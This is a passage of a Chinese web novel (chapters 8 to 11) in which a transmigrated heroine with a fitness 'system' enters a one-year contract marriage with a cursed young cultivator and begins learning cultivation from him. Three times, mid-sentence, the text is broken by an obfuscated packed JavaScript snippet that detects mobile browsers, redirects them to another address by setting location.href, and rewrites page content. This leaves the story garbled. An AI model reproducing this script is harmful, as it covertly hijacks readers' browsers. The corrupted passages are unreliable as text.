夜风轻柔,虫鸟交鸣,草木清香,溪流婉转,仿佛这只是个非常普通的夜晚。 崔羽落看着倒地的少年,叹了口气。 “真是辛苦你了,打了我这么久。”她环视周围,未发现什么异常,“可惜我开挂了。” 不知是不是要制裁她口嗨的缘故,一口血骤然涌了上来。 她吐出一口血,随后身躯渐渐虚弱,五感随之变得模糊了起来。 她又一次地失去了意识。 * 再次醒来时,她发现自己躺在床上,温暖的阳光自门窗照射进来,整个房间都笼罩在柔和的日光中。 她仍感到自己有些虚弱,便呼唤系统:“为什么会这样?只是扣除了二十点生命值啊,怎么又是吐血又是昏厥的?” 仔细回顾了一下昨天夜里的经历,她又道:“莫非……是他的那些控制和伤害起了效果,让我虽然一开始没有受伤,但增益时间过了就受到反噬了呢?” 系统很快地进行了回答。 【回宿主,我想你大概是对“扣除二十点生命值”这个概念的理解有一些偏差。】 “为什么说有一些偏差?”崔羽落有些困惑,“第一天扣了10点生命值但无事发生,就如你所言,这是新手保护。但20点生命值……为什么给我一种差点就要领盒饭的错觉呢?” 【宿主,你好好思考一下,单看“20”这个数字,的确是比较小,但你的生命值一共也只有100点,20点生命值相当于消耗了宿主五分之一的生命。】 【五分之一这个数字,宿主大概能理解吧?】 “……” 【再次提醒宿主,消耗生命值需谨慎,请宿主不要轻易使用此操作。】 【此外,温馨提示,前一日活力值已清零,鉴于宿主昨天的表现,当前活力值为15。】 【当前生命值为80,信誉值为100。】 【各项数值如上,请宿主再接再厉。】 崔羽落叹了口气,却见先前那两名侍女端着托盘走了进来。 看到托盘,她神情一变,便听见一名侍女说:“姑娘,事不宜迟,我们来帮助姑娘更衣。” 顿了顿,崔羽落缓缓开口:“这当中是不是有什么误会?” 另一名侍女却“咯咯”地笑了笑。 崔羽落十分困惑:“怎么了?” 侍女笑道:“昨天夜里,姑娘在外昏迷了过去,是公子一路把你抱了回来。” 另一名侍女道:“他自己身体还未恢复好,一回来就昏过去了。然后季公子一见你们如此,只道你俩一同夜游,已经十分相熟亲近了呢!” 崔羽落无力地扯了扯嘴角:“这还真是个误会。”随后她穿鞋起身,拿起一旁的外袍,一边披在身上,一边向门外走去。 “姑娘……” “我去找季回澜说清楚。” 没走两步,眼前门被人“知啦”一声从外面推开。崔羽落抬眼,发现昨夜那少年换了身衣服,静静站在门口。 8. 夫妻 “怎么?” “有一些事情想要和你商量一下,”少年抬了抬下巴,“方便让我进去吗?” 崔羽落没有动:“什么事?” “婚事。” “不好意思,我不同意这门婚事。” “为何。” 崔羽落想了想:“首先,我和你一点也不认识。虽然我们在地牢里有过一面之缘,但是那也仅仅是‘见过’,我对你、你对我一点都不了解。是吧?” 少年顿了顿:“季回澜没有和你说过我之前的经历么?而且那天,他应该给你看过我的生辰八字和姓名籍贯。” 崔羽落笑笑:“是,我知道你是玄昭门横苍长老的徒弟,也知道你之前的那些事情,也看到了你的生辰八字。” 她回想了一下那张纸上的内容,继续说。 “我知道你叫慕惊弦,也知道你是……”她顿了一下,而后说,“忘记是哪一天出生的了。但是这些对我来说有什么意义呢?我不会看生辰八字,更不会看咱俩八字合不合,所以你这个人到底是什么样子的,我完全不知道。” “现在不知道,以后也会知道的。” 崔羽落轻轻笑了一下。 “对,但是那都是以后的事情了,我不会算卦,不能未卜先知以后的事情来决定现在怎样做。”她正色道,“其次,你们要找个女子做你的新娘,是为了压制你控制不住的灵力。而具体怎么压制呢?就是找一个身强的来强行挨打。昨天晚上的情况让我发现,一段时间内你释放的灵力是有限的,所以只要都用在了一个人身上,那就不会再伤害其他人了。” 慕惊弦却勾了勾唇:“你就没有发现,你除了进入幻境,并没有受到伤害么?” “我险些出不来了。要是一直无法脱离幻境,大概会一直被困在里面,直到死掉吧。” “不会,你方才不是说,我那段时间能用的灵力是有限的么?灵力耗完了,幻境自然就破了。” “所以呢?我没有受到伤害,是因为我体质强,而不是——” 慕惊弦打断了她:“你的体质,可不仅仅是‘强’。” 崔羽落心道:废话,氪命开挂要是只能‘强一些’,那也太不值得了。 他继续道:“昨天夜里的那些人,还真是专门为了抓你才去的。就算抓不到,也能试探一下。” 崔羽落回想起第一天在地牢中那黑袍男子所说的话—— 惜才之心、做他徒弟、开创新时代。 ——还挺有诚意。 然后她回到之前的话题:“最后,我不太愿意和你成婚。” “为何?” 扯了一大段,她终于点题—— “结合待遇和岗位来看……我个人不是特别满意。” * 二人隔着桌子相对而坐,分别手持一根笔,在两张纸上落下一个个字。 一会儿,崔羽落停笔:“我写完了。” 她捏着纸张的两个角,将它提起,最上面一行写着“信息与期望”。 对面人也将笔搁在一旁,崔羽落看了过去,只见纸张最上,是一行一言难尽的字。 慕惊弦将已然写满的纸推了过来,却见崔羽落表情复杂地望着他。 “怎么?你不识字?” “不识字怎么写字?你这字也太……让人难以辨认了吧。” “是么?前段时间手受伤了,写不好,你仔细辨认一下便可。” “你念一下吧。” 觉得这句话有点干巴巴,崔羽落颇为礼貌地加了一句。 “小女子不才。” 却见慕惊弦笑了两声,便开始念纸上所写的字。 崔羽落听着,发现原本的“薪资”翻了倍,心想果然还是得大胆一些。作为天赋异禀的候选人,一定要认清自己对于对方的巨大价值,并在此基础上进行pua,从而实现待遇最优化。 “……除了以上内容,还有几条,需要和你商量一下。” “什么?” “你愿意长期作为我的妻子,待在这里吗?” 崔羽落惊喜道:“……难道可以短期?” “可以。” 崔羽落大致估算了一下,如今是二月,据先前那名女修所言,玄昭挑选弟子是在三月后,那么她可以先一边攒灵石,一边充分利用丰厚待遇来修炼,然后再去参加入门试炼。 正要开口,慕惊弦却说:“最短一年。” “三个月。” “一年。” “我不干了。”崔羽落站起身。 “你不干有的是人干。”慕惊弦一顿,“但是——” 崔羽落从高处瞥了他一眼。 “——我们还是希望你留下。” …… 待遇更上一层楼,二人开始商议成婚条款。 崔羽落道:“一年后和离,之后不得对我进行造谣、诽谤,不得干涉我的行为。” “可。” “那在这一年里我可以去其他地方吗?” “可以,但不能与我分开超过十五日,期间需要保持联系。” “我要是失联,你有什么办法?” 慕惊弦看了看她:“你大可试试,我有的是办法。” “……”崔羽落从一堆狗爬似的字迹中辨认出几个字,“三件事,为什么后面没有东西了?” “此外,凡是在我能力范围内,我可以额外满足你三个条件,你可以现在就说出三个,也可以留着以后说。” 崔羽落想了想:“待我好好考虑一下。” 慕惊弦问道:“还有什么问题么?” “没有了。” “准备一下,今晚成婚。” * 穿着大红婚袍,顶着还未画完的妆,崔羽落已经累了。 没有要紧事的时候,她便自动切换为“省电模式”。 昏昏欲睡了不知多久,侍女喊了声“姑娘,好了”,她才迷迷糊糊地睁开眼。 她看着铜镜中自己的模样,心想:还不错,可惜没有手机,不然一定得多拍几张照片。 上了花轿,走过很短的一段路,轿帘被掀开,一只手伸向她,等着她向前。 她顿了顿,将一只手放在那只手上。 然后她的手被握住,她跟随着一袭婚服的慕惊弦缓缓向前。 那只手依然很凉。 崔羽落心中却忽然冒出一句话:“他今天也没有被冻死哦。” 不禁扬起嘴角,微微一笑。 耳畔却传来一个很轻的声音:“笑什么?” “高兴。” 身边人沉默了。 崔羽落后知后觉地意识到这句话很有歧义,但在心中组织了一下语言,又懒得出声解释。 二人到了大堂前,季回澜站在一边,低声问了一句话。 崔羽落听不清,却发现身边人轻轻拉了她一下,换了个方向前进。 她不太在意成婚的仪式感,便任由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380827|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他牵着自己走着。 二人停了脚步。周围没有房屋,圆月高悬,树木葱茏。 崔羽落问道:“这……什么地方啊?” 慕惊弦淡淡道:“不知道。” “啊?” “随便走,随便停。天意如此,顺从便可。” “……行。” “此处天高云阔,土地绵延,正适合拜天地。” 崔羽落“哦”了一声,与他一起拜了天地。 “既然你我都没有‘高堂’,那这二拜……” “拜什么?” “就不用拜了。” “……好吧。” “你若是有什么想法尽可与我说。” “没有。” “至于夫妻对拜,”慕惊弦平静道,“仔细说来,你我只是名义上的夫妻,因此……” 崔羽落见他不再继续说,便说道:“也不拜了?” “也不算是真正的夫妻。但一日夫妻百日恩,你我共三百六十日,那便是三万六千日恩。” 崔羽落目瞪口呆。 “大恩不言谢,而‘谢’字去了‘言’便是‘射’,昨日有箭射向你我,因此我们可以去那个地方对拜。” “……好。” 夫妻对拜完,崔羽落以为此人又要搞什么乱七八糟的,但他只是再次向她伸手:“走吧,回去。” 她干笑了两声:“没事,我自己能走。” “你能走,但我伤势未愈,走得吃力。” 崔羽落无奈地握住了他的手,又走了很远的路,才回到了一个亮着红烛的房间。 坐在床边,她收回了手,问道:“那个……洞房就不用了吧?” “你若是想的话,那也可以。” “不想不想。”崔羽落环视四周,发现只有一张床,不远处有个挺大的柜子,“我有些累,那我们就直接睡觉吧。” 慕惊弦看了看她,收回目光:“好。” 崔羽落叮嘱:“合约里说过——” “我知道。况且你看我现在的样子,怎能与你对抗呢?” 崔羽落站起身:“也……不至于。” 看着她走向了柜子,慕惊弦问道:“怎么了?” 崔羽落一边打开柜子,一边回道:“找点东西打地铺啊,总不能真睡一起了。” “你睡床上,我打地铺。” 崔羽落开始在柜子旁边打地铺:“不用不用,你睡床。” 慕惊弦又沉默了一会儿,缓缓道:“不必顾虑我的伤势,房间内有法阵,睡在地上也不会受凉。” 崔羽落奇怪地看了他一眼:“我没有……唉,总之你睡着吧,既然地上不凉,那就更好了。” “真的无妨,你的好心我知道了,但是新婚之夜让妻子打地铺,说出去也太不像话了。” 崔羽落无力地说:“没有的,我真的想睡地铺。” 慕惊弦看着她的神情,似是忽然明白了什么:“你不会是……嫌弃这个床是我睡过的吧?” 心想着“你终于懂了”,崔羽落摆手道:“没有没有,我真的是喜欢睡地铺。” “这个房间此前没有人住过,你过来睡吧。” 崔羽落拗不过他,便上床和衣而卧。 慕惊弦走到地铺边,正要躺下,却见崔羽落突然从床上弹起。 “你怎么了?” 崔羽落一边在房间内快速走动,一边答道:“我体质特殊,一天不运动就难受。” 9. 喜欢 崔羽落已脱下略显繁复的外袍,穿着大红色的里衣走到了桌边,随后对镜一一卸下发上的装饰。 慕惊弦在地铺上盘膝而坐,看着她动作。 随着发饰被卸下,崔羽落一头长发散落于肩背。她的侧影沉在昏暗烛影中,清丽如一幅浓淡相宜的水墨画。 以一支发簪将头发束起,崔羽落开始在房间内折返跑。 慕惊弦一言不发地看着她,终于开口:“房间就这么大一点地方,为何不在外面跑?” 崔羽落脚步不停:“新婚之夜,我若是独自在外面,把你留在房间,好像不太合适吧?” 慕惊弦垂眼想了想:“为何?” “不知道,就是感觉不太好。” “无妨,这里也没有什么人。”慕惊弦看着她跑了一个来回,“那我与你一起出去,新婚之夜一同夜游,总该合适了吧?” 二人一同到了外面,到了一片较为空旷的草地上,边上溪流潺潺,暗香悠然。 崔羽落回想起前天晚上的花香,问道:“这是什么花啊?” “槐花。” “谢谢你。”她看着树上的花,“感觉我知道很多花名,也见过很多种花,但总是不能将它们对上号。” 慕惊弦好奇道:“女生不是一般都很喜欢花么?” 崔羽落翻白眼:“你自己也说了,是‘一般’。况且有些人虽然喜欢,但也不太会特意去记下它们的名字,只是见到了会欣赏一会儿。” “既然喜欢,为什么不去了解它们的名字呢?连名字都记不住,也不算是真的喜欢。” “每个人喜欢的方式不太一样啊,就像有些人说喜欢看书,但也只是想起来了去挑着自己喜欢的看,而不会日日博览群书,将看过的东西都牢牢记在脑子里。” 崔羽落一边说话,一边绕着小圈慢跑。不知是一直在说话的原因还是身体还未恢复好的原因,她已有些力不从心。 “这不就是叶公好龙么?我若是喜欢一件事,那便会去好好了解它。” 崔羽落有些喘,便言简意赅地说:“那是你,别人又不是都和你一样。” 慕惊弦笑了笑:“你前面说你喜欢运动。我倒是觉得,你和我有些相似。” “哪里相似?” “新婚之夜,疲惫之时,却依然坚持运动。这种喜欢,倒是和我有些像。” 崔羽落内心吐槽道:谁和你像了?生命值已经大残,再不完成每日运动,信誉分也要大残了。 慕惊弦低声说:“有些人总是说自己喜欢什么东西,实际上却不曾为那东西做过什么。他们只是喜欢让自己喜欢那东西罢了,久而久之就把自己也骗了进去。” 崔羽落已出了层薄汗:“什么?” “没什么,”他笑了笑,“我只是想到,之前在宗门,总有人违心地说自己喜欢练功,实际上又十分懒散。” “……” 崔羽落回想起自己之前写作文,总是写“要热爱学习,热爱生活”,实际上也是天天拖延,四处玩耍。 “有没有一种可能,他们只是嘴上说说,其实也知道自己不喜欢练功呢?” “那他们为什么要这样说呢?”慕惊弦看着一时沉默的崔羽落,补充道,“虽然没有口上说这些话,但我有时会看弟子们交上来的课业,和一些报名参加选修的信件,他们总会在里面些‘喜欢练功,渴望进步’,实际上又完全不是这样。” “在课业和信件里,还是得假装一下的吧。”崔羽落不太理解此人的脑回路,诚挚地说,“总不能在里面如实写,‘我是个懒人,我喜欢睡觉’吧。” 慕惊弦低低笑了两声:“你说得对。” 跑了很久,崔羽落背上贴身的衣衫已染上一层汗,她缓了缓脚步,略微弯着腰走着。 【恭喜宿主。】 崔羽落喜道:“总算完成任务了!” 【用户等级提升,现在级别为二级。】 【二级用户每日需完成120点活力值,当前活力值为100,请宿主继续努力。】 “……” ——能不能不升级啊? 崔羽落缓了缓,准备继续开始慢跑,却发现原本席地而坐的慕惊弦有些异样。 他默然坐着,但……周围已有暗色灵气渐渐浮动了起来。 ——一天一次的发疯时刻。 崔羽落走到他面前,问道:“你能听到我说话吗?” 却不见回答。慕惊弦闭着眼,脸色更加苍白,周围暗流愈发明显。 他忽而睁眼,目光冰冷。随后他动了动,似是要起身。 崔羽落一记手刀打晕了他,周围暗流蓦地无影无踪。 她心中却浮起一个疑惑。 ——既然只要将他打昏过去,他便可不再发狂伤人。但……季回澜他们为什么不这样做呢? 看着失去意识躺在地上的慕惊弦,崔羽落叹了口气,起身继续慢跑。 又过了一会儿,久违的声音终于响起。 【恭喜宿主,当前活力值为120,已达标。】 她扶着膝盖喘气,问道:“其它数值呢?” 【回宿主,当前生命值为85,信誉值为100。】 “怎样能提升生命值?” 【自然状态下,生命值低于100时,会以每日5点的速度增长。此外,在活力值已达标的情况下,获取更多活力值也能获得生命值。】 她在慕惊弦身边蹲下身,轻轻拍打他的肩膀,在他耳边说道:“能听见我说话吗?” 拍了一会儿,地上人毫无反应。 心想“总不能把他扛回去吧”,远处有脚步声传了过来。 崔羽落转头,看到了一脸震惊的季回澜。 “谋杀……亲夫?” * 房间内,季回澜坐在椅子上,擦了擦脸上的汗:“先让他就这么躺着吧,万一一醒又开始无差别攻击,就不太好办了。” 崔羽落坐在对面,想起方才的疑虑:“季公子,有一个问题我想请教一下。” “什么?” “方才他灵力开始波动,我见他神色不对,便出手打晕了他,然后那灵力波动也停了。但听你们所说,之前没有靠打晕他来强行打断他的攻击行为……” 崔羽落顿了顿,有些不知道接下来该如何询问。 季回澜笑了笑,问道:“一天前的那次,他在你面前失控,法术生效了吗?比如说你有没有动不了或者神志不清这样。” “有,我进入了一个幻境。” 季回澜点点头:“这也算。但是姑娘,你今天是在发现他异样之后出了手,但平常,我们经常还没发现就已经被法术控制了。最开始,你看见他周围灵力浮动了?” “是。” “大概是姑娘天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380828|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赋异禀。” “没有没有,”崔羽落又有了疑问,“那若是在他失控之前便使他昏迷或者其他什么,是不是……” 季回澜摇了摇头:“没用的。不管之前如何,他都会自己醒来。” 崔羽落心想:那天晚上是因为和系统做了交换,相当于开了个挂。但今天晚上没有增益,甚至生命值比较低,又为何还会这样? “崔姑娘,我先回去休息了,你也早些休息吧。”随后他补充道,“若是你不愿和他睡在一间房里,也可以回到先前那个屋子。我们也明白你们并非是‘真’结婚,因此,姑娘怎样舒服便怎样来。” * 崔羽落一觉醒来,发现睡得很昏沉,几乎没有做梦。 起身换上了备在一旁的青色衣裙,她洗漱完毕,有些无聊地出了门。 系统忽然出声:【宿主早上好,一日之计在于晨,不妨先做一些运动哦。】 “不用了,不用谢。” 肚子叫了两声,侍女正好走了过来,笑着问道:“姑娘,早餐已备好,请随我来。” 她跟着侍女进了一间屋,只见屋里摆着一个圆桌,饭菜颇为丰盛,散发着诱人的香味。 ——早饭这么丰盛么? 大学期间时常不吃早餐的崔羽落呆住了。 季回澜说道:“今天是你们成婚后的第一顿早餐,大家一起吃热闹一些。” 崔羽落的座位在慕惊弦旁边,她坐了下来,看到身边人没什么表情,但脸色更加苍白,嘴唇也没什么血色。 桌边还坐着先前见过的两侍女,和一个她没有见过的男子。 那男子看上去三十岁上下,神色亲切和蔼:“这一桌都是我做的,哈哈,姑娘,快尝尝味道如何。” 肚子又叫了起来,为了防止其他人听到,崔羽落扬声道:“看上去很不错!说来,我已经很久没吃过如此丰盛美味的饭菜了!” 身边的慕惊弦轻轻笑了两声,崔羽落回头看向他。他的笑容仍未收回,这使他看上去有了许多“活人”的味道。 崔羽落收回目光,心道:怎么会突然这么想呢,难道他之前不像活人么? 季回澜看着他俩的神情,欣慰不已:“吃吧吃吧,真的要饿晕了。” 饭后,大家各自离开,慕惊弦叫住了崔羽落:“你现在有什么事么?” “没有啊。” “那你跟我来一下。” 二人又到了昨夜的“婚房”,崔羽落在桌边落座,见到桌上放着一把刀。 “这把刀好像是你先前用的,玄昭的人把它带了出去,我看着眼熟,便要了过来。” 崔羽落看着已被擦净的刀刃,却觉那血腥味仍未消退,在日光中缓缓弥散。 慕惊弦拿过一把刀鞘:“我先前见你用它的时候,是没有刀鞘的,大概是不慎丢失了。在地牢里也未能找到对应的鞘,所以我找人做了一个。” 崔羽落有些愣神,心想:其实我是随地捡的。 慕惊弦问道:“不知这把刀叫什么名字呢?”而后静静地看着她。 崔羽落看了看有些锈迹地刀刃和略显斑驳的刀锋:“破伤风。” “……好名字。”慕惊弦轻咳了几声,又说道,“你还有什么要求或者是问题么?” “有。”崔羽落目光沉沉。 “什么?” “我想提出第一个条件。” 10. 所求 …… 慕惊弦静静地听她说完,而后问。 “人总会因为某种东西而开始修炼,有的人是为了求长生,有的人是为了寻大道。但上面这两种太过虚无,更多的人则是为了一些现实的渴求,譬如想要变强而后复仇,或者是通过此种方式加入宗门,寻得一方安宁之所。那你呢,为什么想要修炼?” 崔羽落在年纪较小的时候,看过一些修仙电视剧。电视剧中主角仗剑天涯打怪升级,在小小的她心中种下了一颗中二之魂。 随着年龄增加,那颗中二之魂没有被生活磨灭,而是生根发芽,时不时出来搅和一下,让仍然中二的她感慨一下生不逢时。 ——然后埋头继续写着第二天必须要交的、不得不写的作业。 然后在内心想象一下:“不知道那些仙门子弟是否需要熬夜补作业。” 在看似风平浪静的生活中,她总是对那些世界是有一些好奇的。 比如偶尔幻想一下天地突然风起云涌,乾坤明灭,身边的行人匆匆逃向安全区。而她则会逆流而上,平静地出手,云淡风轻地摆平一切。 但实际上—— 她想:还是得赶快跑。 她看了一眼桌上新得名的刀,答道:“没有为什么,就是单纯的想修炼。” 慕惊弦笑了笑,笑容有些晦涩:“只是想修炼?没有别的了?” 崔羽落点点头。 “然后呢?你修炼了之后,还有什么想要完成的事情么?比如想要……长生不老青春永驻,或者是御风而行俯视群山,抑或是当个世外高人云游四海?” 崔羽落垂眼想了想,最终说了两个字。 “变强。” * 午饭之后,崔羽落上床躺了一会儿,便起来完成每日运动。 天色有些阴沉,她便在庭院外慢跑。跑了不知多久,她询问系统:“现在活力值有多少?” 【回宿主,当前活力值为50,生命值为90,请宿主再接再厉。】 回房间的路上,她遇到了迎面而来的季回澜。 “姑娘,我正要去找你呢。” “找我?有什么事情吗?” “我大概不会在这里待太久,因此,”他顿了顿,“日后还望你们好好相处。” “难道他很难相处么?” “呃,也不是,但是不知道姑娘有没有发现,他有些时候,”季回澜指了指自己的头,“这里好像有一点不太好,偶尔神经兮兮的。” “他从什么时候开始这样的?” “很多年了。”季回澜略微思考,“他现在十八岁,那……应该五六年前就有这种情况了。” 五六年前,那就是十二三岁的时候。 崔羽落问道:“那个时候不是还很年轻么?难道是受了什么伤或者是受了什么刺激?” “我觉得大概是这样的。但是我也未曾问过他,日后待你二人相熟,姑娘若是想知道,自然可以去问一问他。” ……其实,也没有很想知道。 崔羽落回了房间,刚好有一名侍女敲了敲门。 “还不知道你叫什么名字呢。” “回姑娘,我叫瑶枝。”她将一个托盘放在桌子上,崔羽落看到那是一件新衣,“姑娘试试合不合身。” 见她就要退出去,崔羽落叫住了她:“你……可有修炼过?” “回姑娘,有的。我年幼的时候,父亲说我只有努力修炼,才能过上更好的生活。” “那你修的是什么道呢?” 瑶枝回道:“道算不上,只能算是一种修炼之术。此术名为‘泉音’。” * 曾作为婚房的房屋前,崔羽落在庭院里努力拼凑回忆,断断续续地展示军体拳。 她收回不知道要放在什么地方的手:“我真的记不清了,我能想起来的全部都在这里了。” 她不理解,某人说今天下午教她修炼,为什么要让她先演示一遍“弓步冲拳”所在的那套拳法? 就因为在地牢里她打飞别人的动作太过潇洒了? 慕惊弦站在一边,表情莫测:“很有趣,和我见过的所有功法都不同。” 要“同”了才有问题。 崔羽落扯了扯嘴角,问道:“是么?” 慕惊弦眼中带着笑意,温和地看着她:“是的。” “然后呢?我们接下来要做什么?” “随我进来吧,修炼前要先学习一些理论知识。” 两人进了房间,在一张桌子前相对而坐。 崔羽落等着他拿出一本书或者一张纸,慕惊弦却没有这样做。 她问道:“没有那种……修仙指导书吗?或者是基础修仙教程?” 慕惊弦回答:“有的。” 崔羽落问道:“我明白了,确实有这样的书,只是你没有。” “不对,我也有,只是没有拿到这里来罢了。” “……好吧,那这节课我们学什么呢?” 慕惊弦看着她,问:“你背过《逍遥游》么?” “‘北冥有鱼,其名为鲲’?你说的是这个吗?” “是。” 崔羽落看着他的神情,有一种不好的预感。 慕惊弦终于从袖中拿出纸笔,放到桌上:“那你把它默写下来吧,会多少算多少。” 距离高考已经过了两年有余的崔羽落说:“小女子不才,没有背过。” “你不是知道它的第一句么?” “我只知道这一句。”崔羽落发问,“我想问一下,为什么要默写这个呢?如果说让我打拳是因为你好奇,那这个难道也是好奇吗?” “是,我是好奇。” “你可以去书里找一找。” “但我好奇的不是它的内容,”慕惊弦的视线落在纸笔上,“而是你……” “我?” 慕惊弦悠悠补上后半句:“——是你会背多少。” “好,你现在也知道了,我不会,所以接下来,我们就直接进入正题吧。” “好的。” 崔羽落心想:终于回归正常谈话了。 “修炼之道,寻的是‘天人合一’。修炼到了最高境界,窥见大道,便可以达到‘天地与我并生,而万物与我为一’的境界,从而便可与天地自由交流,长生不老,不死不灭。” 见他不再继续,崔羽落说道:“长生不老,不死不灭?但这种境界的人,是不是非常少?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380829|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,小生不才,未曾听闻有此境界之人。” 心想着“怎么还学我”,崔羽落问道:“那说不定确实没有能到这个境界的人呢,至于什么天人合一,只是在给修仙之人画大饼而已。” “是啊,谁知道呢。” 崔羽落疑惑道:“你不是玄昭门……天赋异禀的弟子么?你也这样想?” “为什么不能?但是,”慕惊弦顿了顿,“只是为了天人合一寻求大道而修炼的人,毕竟只占极少数。大多数人都是因为别的原因才选择修仙的。” 崔羽落说道:“是啊,就像读书,仅仅是因为想要探寻圣贤的思辨而读书的,其实只有很少的一部分。大多数人读书都是为了别的,比如为了考取功名来光宗耀祖,或者学会某项技艺来支撑起一个家庭,再或者,可能是他自己也不知道要做什么,刚好有这个读书的条件,就迷迷糊糊地继续去读了。至于后来要去做什么,他自己也不是很清楚。” 慕惊弦笑了笑:“是啊。不过就像凡人有三百六十行,其实修仙之人也有。仙门中弟子很多,但若是所有进入仙门的弟子都一直留在仙门,那仙门只会人越来越多。因此一些弟子会在到达一定境界之后自行离开,寻找安身立命之法。” “既然如此,为何还要修炼呢?” “你以为他们离开仙门之后就去做普通人了?在仙门修炼又不仅仅是提升修为,还会学习一些器械原理或者炼丹之法等等,这些东西看似与单纯的修炼大相径庭,却也构成了修士的‘三百六十行’。” 崔羽落点点头。 慕惊弦看了看她,继续说:“这些东西你日后会逐渐了解。方才我说了修炼的基本原理,接下来我简单讲讲修炼的境界之分。” “好的。” “共有六层境界,具体来说有——”他却忽然不再继续。 “怎么了?” 难不成是他忽然忘了? 慕惊弦平静道:“这些境界对现在的你来说不重要,日后再说。” “……行。” “你还有什么问题?” “没有了。” “那今天就这些了。” “……行,”崔羽落有些好奇,“那你到了哪一层呢?” “第三层。” “喔,我还有一个问题,那就是我什么时候可以开始修炼呢?” 慕惊弦有些疑惑:“你这么想修炼?” 崔羽落目光灼灼:“是啊。” “明天吧,循序渐进。而且我现在伤势未愈,不宜过度劳累。” “……好。那我走了。” 到了门口,崔羽落又有些好奇:“我还有一个问题想问你,不过你要是不愿意回答也没关系。那就是……你为什么要修炼呢?” 慕惊弦淡淡道:“天赋异禀,宗门说我若能好好修炼,此后必成大器。所以他们让我修炼,我就修了。” * 门关上了,慕惊弦坐着没动。窗外天色渐暗,凉意浮了上来,使他忍不住咳了几声。 季回澜推开了门,坐在对面的位置:“你怎么在这里?” 慕惊弦问道:“怎么了?” “宗门有事,我们几个……得回去了。” 11. 客栈 “好。”慕惊弦顿了顿,“不过……如果你不是太忙碌的话,过几天能不能从玄昭捎几本书来?” 季回澜接过慕惊弦递给他的那张纸,很是惊讶:“为什么是一些极为基础的书?你真……觉得自己这里不太好使了吗?” “你想哪里去了,”慕惊弦对他的反应表示不满,“我的脑子好使得很。” “嗷嗷嗷——” “你又怎么了?” “我懂了,”季回澜了然道,“是崔姑娘想看吧?不过,唉。” “唉声叹气什么呢?好像我真坏了脑子变傻了一样。”慕惊弦看着季回澜的神情,又道,“不过什么?” “其实我觉得吧,崔姑娘体质很特别,你如果能和她好好双修,对你俩都会大有裨益。你能快速恢复,她也能迅速提升修为,”季回澜仔细分析,“我说的是普通的双修啊,不是那些乱七八糟的秘术。不过即便如此,我也知道你不会这样做。” “为什么?” “不知道,”季回澜起身,“可能是因为,崔姑娘会一巴掌打晕你吧。” * 其他人都去了宗门,整个庭院显得有些冷清。厨房留下了足够的饭菜,食用前用灵力略微加热便可。 “这不就预制菜吗?”崔羽落问道。 虽然味道不错,但预制菜还是不太好吧。 “施了法术的,你可以理解为把它们封存在了刚做好的那一瞬,我们再次打开的时候,它们的时间才再次开始。”慕惊弦盛了一碗汤,补充道,“不过这些饭菜只够吃十天,在那之后,我们可以做一些新鲜的饭菜,厨房里的食材还是很多很丰富的。我的手艺虽然比不上大厨,但做出的饭菜还是能勉强入口的。” 接下来的几天内,崔羽落每天除了坚持运动,一有空就会和慕惊弦一起,探讨如何修炼。 “第一个境界是乘风,意在感受世间灵气,并尝试化为己用。”慕惊弦科普道,“第二个境界是神凝,换个容易懂的说法,就是结丹。修炼不过是在修内丹,内丹越强,能施展的力量就越强。” “修内丹?那有没有修外丹?” “有的,用炉子炼丹,就是修外丹。” “噢噢,不过我看的那些……话本,外丹好像不是很靠谱啊,那内丹,真的靠谱吗?” “你看的是哪里的话本?”慕惊弦蹙眉问道。 “没有没有,我看的是盗版。”崔羽落哈哈一笑。 “第三和第四境界分别是北冥和扶摇。当前大多数修士都处于前两个境界,若能进入第三层,便算是高手了,至于达到第四层的修士,一只手便可数得过来。” “那更高的呢?” “第五境的人,一百年能出两三个吧,至于最高境界,我还未曾听说过有人能达到。” “好。” 崔羽落按照慕惊弦所说的修炼之法练功,几天下来无事发生。 她好奇道:“你当时,从零开始到第一境,花了多久啊?” 慕惊弦答道:“那都是我几岁时候的事了,记不清了。” 当然,除了练功,她每天要做的事还有一件。 那便是在晚上及时打晕将要无差别攻击的慕惊弦。 午夜,崔羽落看着地铺上昏睡的人,心想:唉,真麻烦。 一次白天,她忍不住问道:“你为什么每天晚上会……发疯呢?” 慕惊弦将一块排骨夹进自己的碗里:“我也不知道为什么。仙魔大战之后,就一直是这样了。” “在那之前一切都正常吗?” “正常?”慕惊弦缓缓吐出这两个字,“什么是正常,什么是不正常呢?你觉得和大多数人不同就是不正常,和他们相同就是正常么?你怎知那大多数人便是正常的呢?” “……好吧。”崔羽落看着所剩不多的排骨,秉持“食不语”的理念,专心吃饭,不再说话。 * 